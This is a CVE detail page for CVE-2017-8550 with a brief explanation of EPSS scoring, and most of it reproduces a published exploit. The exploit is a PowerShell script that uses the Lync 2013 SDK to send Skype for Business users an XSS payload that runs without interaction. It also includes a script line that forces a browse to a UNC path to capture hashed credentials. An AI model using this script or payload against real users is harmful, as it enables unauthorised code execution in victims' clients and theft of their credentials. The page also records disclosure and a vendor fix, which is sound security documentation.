CVE-2017-8550 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

# Exploit Title: Skype for Business 2016 XSS Injection - CVE-2017-8550 # # Exploit Author: @nyxgeek - TrustedSec # Date: 2017-04-10 # Vendor Homepage: www.microsoft.com # Versions: 16.0.7830.1018 32-bit & 16.0.7927.1020 64-bit or lower # # # Requirements: Originating machine needs Lync 2013 SDK installed as well as a user logged # into the Skype for Business client locally # # # Description: # # XSS injection is possible via the Lync 2013 SDK and PowerShell. No user-interaction is # required for the XSS to execute on the target machine. It will run regardless of whether # or not they accept the message. The target only needs to be online. # # Additionally, by forcing a browse to a UNC path via the file URI it is possible to # capture hashed user credentials for the current user. # Example: # <script>document.location.replace=('file:\\\\server.ip.address\\test.txt');</script> # # # Shoutout to @kfosaaen for providing the base PowerShell code that I recycled # # # Timeline of Disclosure # ---------------------- # 4/24/2017 Submitted to Microsoft # 5/09/2017 Received confirmation that they were able to reproduce # 6/14/2017 Fixed by Microsoft #target user $target = "[email protected]" # For this example we will force the user to navigate to a page of our choosing (autopwn?) # Skype uses the default browser for this. $message = "PoC Skype for Business 2016 XSS Injection<script>document.location.href=('http://www.youtube.com/watch?v=9Rnr70wCQSA')</script>" if (-not (Get-Module -Name Microsoft.Lync.Model)) { try { # you may need to change the location of this DLL Import-Module "C:\Program Files\Microsoft Office\Office15\LyncSDK\Assemblies\Desktop\Microsoft.Lync.Model.dll" -ErrorAction Stop } catch { Write-Warning "Microsoft.Lync.Model not available, download and install the Lync 2013 SDK http://www.microsoft.com/en-us/download/details.aspx?id=36824" } } # Connect to the local Skype process try { $client = [Microsoft.Lync.Model.LyncClient]::GetClient() } catch { Write-Host "`nMust be signed-in to Skype" break } #Start Conversation $msg = New-Object "System.Collections.Generic.Dictionary[Microsoft.Lync.Model.Conversation.InstantMessageContentType, String]" #Add the Message $msg.Add(1,$message) # Add the contact URI try { $contact = $client.ContactManager.GetContactByUri($target) } catch { Write-Host "`nFailed to lookup Contact"$target break } # Create a conversation $convo = $client.ConversationManager.AddConversation() $convo.AddParticipant($contact) | Out-Null # Set the message mode as IM $imModality = $convo.Modalities[1] # Send the message $imModality.BeginSendMessage($msg, $null, $imModality) | Out-Null # End the Convo to suppress the UI $convo.End() | Out-Null Write-Host "Sent the following message to "$target":`n"$message